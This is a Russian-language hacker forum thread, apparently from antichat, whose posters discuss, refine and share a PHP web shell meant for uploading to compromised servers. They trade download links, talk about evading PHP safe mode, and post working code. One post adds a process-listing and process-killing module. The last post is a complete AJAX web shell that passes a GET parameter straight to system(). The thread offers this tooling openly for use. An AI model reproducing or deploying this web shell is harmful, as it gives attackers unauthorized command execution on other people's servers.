Хм... PHP: set_time_limit(99999); Может лучше PHP: set_time_limit(0) PHP: if(@$_POST['action']=="exit") unset($_SESSION['an']); Может лучше PHP: if($_POST['action'] == 'exit') session_destroy(); А вообще код некрасивый и не совсем правильный... Бардак одним словом...
Качать от сюда. http://hack-shop.org.ru/inc/antichat.txt Лицензию спрашивать не надо это OpenSourse. Можешь модифицировать до посинения.
Модифицировал.... Скрипт стал более читабелен. ... Убрал пхп ошибки .... Скорость работы скрипта стала быстрее ... http://www.snoopi.org/antichat.txt
Да я тоже думал об этом...но мало ли какие-нить хрошие ошибки))А мы же с шелом, так что правим на 0 =)Сенк
Ком не притензий по поводу кода не предьявлять.Так как этот шелл уже давно ушол в чужие правила.ТОбиш вон те ошибки про сет тайм лимит даже не мои.А времени им заниматься нету.Но возможно выдет версия стейбл.Там плнируеться технология ajax и все в ООП. Половина написана а вот дальше писать времени щас нету..Так что посмотрим во что он превратиться пока от вас))
Вот думаю....зачем вообще нужно ООП и аякс в каком-то шелле? Ведь самое главное залить шелл, важности не имеет какой он......главное что бы было самое главное....А сам нам аякс?Блин...кода кода много =)
не согласен. аякс создан для создания удобного интерфейса. объем шелла не проблема, у меня есть отличный лоадер в 17 строчек. сам аякс пока использую только в командере шеллами. и не говорите, что глупо и ни к чему. для рядового шелла нет смысла делать. для центральной админки - еще какой. ЗЫ эксперементировал с админкой через виндовую консоль (аля интерфейс текстовый). если интересно, покажу наработки.
я помню как то энтот шелл нашел на каком то забугорном серванте , думаю чо за нах , секретная разработка думал , аказалось он давно в релизе , просто я его пропустил и поэтому думал что это типа нулль от ачата , а так по идее переделанный phpremview. за дизайен питЁрку ставлю , а за тулзы реализованные -всем хакирам тож питерку . и так думаю веб программерам нужно уже научить скрипт обходить сейф морд ... с ним большинство напрягов бывает .
Shell норм но предлагаю добавить [ Process list ] echo "<b>[ Процессы в системе ]</b><br>"; echo "<br>"; if ($pid) { if (!$sig) {$sig = 9;} echo "Отправление команды ".$sig." to #".$pid."... "; $ret = posix_kill($pid,$sig); if ($ret) {echo "Процесс убит !";} else {echo "ОШИБКА! ".htmlspecialchars($sig).", в процессе #".htmlspecialchars($pid).".";} } $ret = `ps -aux`; if (!$ret) {echo "<font color=#800000>Невозможно отобразить список процессов!</font>";} else { $ret = htmlspecialchars($ret); while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} $k = $ps_aux_sort[0]; $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo "<tr>"; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10,count($line))); $line = array_slice($line,0,11); $prcs[] = $line; echo "</tr>"; } } $head[$k] = "<b>".$head[$k]."</b>".$y; $v = $ps_aux_sort[0]; if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; foreach($tab as $k) { echo "<tr>"; foreach($k as $v) {echo "<td>".$v."</td>";} echo "</tr>"; } echo "</table>"; }
Предлагаю сделать еще небольшое дополнения : выполнения шелл команд можно сделать на Ajax будут немного больше весить на 2 кб но зато намного удобней выполнять команды ! Вот мой листинг на Ajax : <?php if (!empty($_GET['cmd']))system($_GET['cmd']); else { ?> <html><head><title>AJAX Shell</title> <script type="text/javascript" language="javascript"> var CommHis=new Array(); var HisP; function doReq(_1,_2,_3){var HR=false; if(window.XMLHttpRequest){HR=new XMLHttpRequest(); if(HR.overrideMimeType){HR.overrideMimeType("text/xml");}} else{if(window.ActiveXObject){ try{HR=new ActiveXObject("Msxml2.XMLHTTP");} catch(e){try{HR=new ActiveXObject("Microsoft.XMLHTTP");} catch(e){}}}} if(!HR){return false;} HR.onreadystatechange=function(){if(HR.readyState==4){ if(HR.status==200){if(_3){eval(_2+"(HR.responseXML)");} else{eval(_2+"(HR.responseText)");}}}}; HR.open("GET",_1,true);HR.send(null);} function pR(rS){var _6=document.getElementById("outt"); var _7=rS.split("\n\n"); var _8=document.getElementById("cmd").value; _6.appendChild(document.createTextNode(_8)); _6.appendChild(document.createElement("br")); for(var _9 in _7){var _a=document.createElement("pre"); _a.style.display="inline"; line=document.createTextNode(_7[_9]); _a.appendChild(line);_6.appendChild(_a); _6.appendChild(document.createElement("br"));} _6.appendChild(document.createTextNode("[ Shell ]:")); _6.scrollTop=_6.scrollHeight; document.getElementById("cmd").value="";} function keyE(_b){switch(_b.keyCode){ case 13: var _c=document.getElementById("cmd").value; if(_c){CommHis[CommHis.length]=_c; HisP=CommHis.length; var _d=document.location.href+"?cmd="+escape(_c); doReq(_d,"pR");} break; case 38: if(HisP>0){HisP--; document.getElementById("cmd").value=CommHis[HisP];} break; case 40: if(HisP<CommHis.length-1){HisP++; document.getElementById("cmd").value=CommHis[HisP];} break; default: break;}} </script></head><body style="font-family:courier" bgcolor=#333333> <form onsubmit="return false" style="color:#3F0;background:#000;position:relative"> <div id="outt" style="overflow:auto;padding:5px;height:90%">[ Shell ]:</div> <input onkeyup="keyE(event)" style="color:#FFF;background:#333;width:100%" id="cmd" type="text" /> </form></body></html> <?php } ?>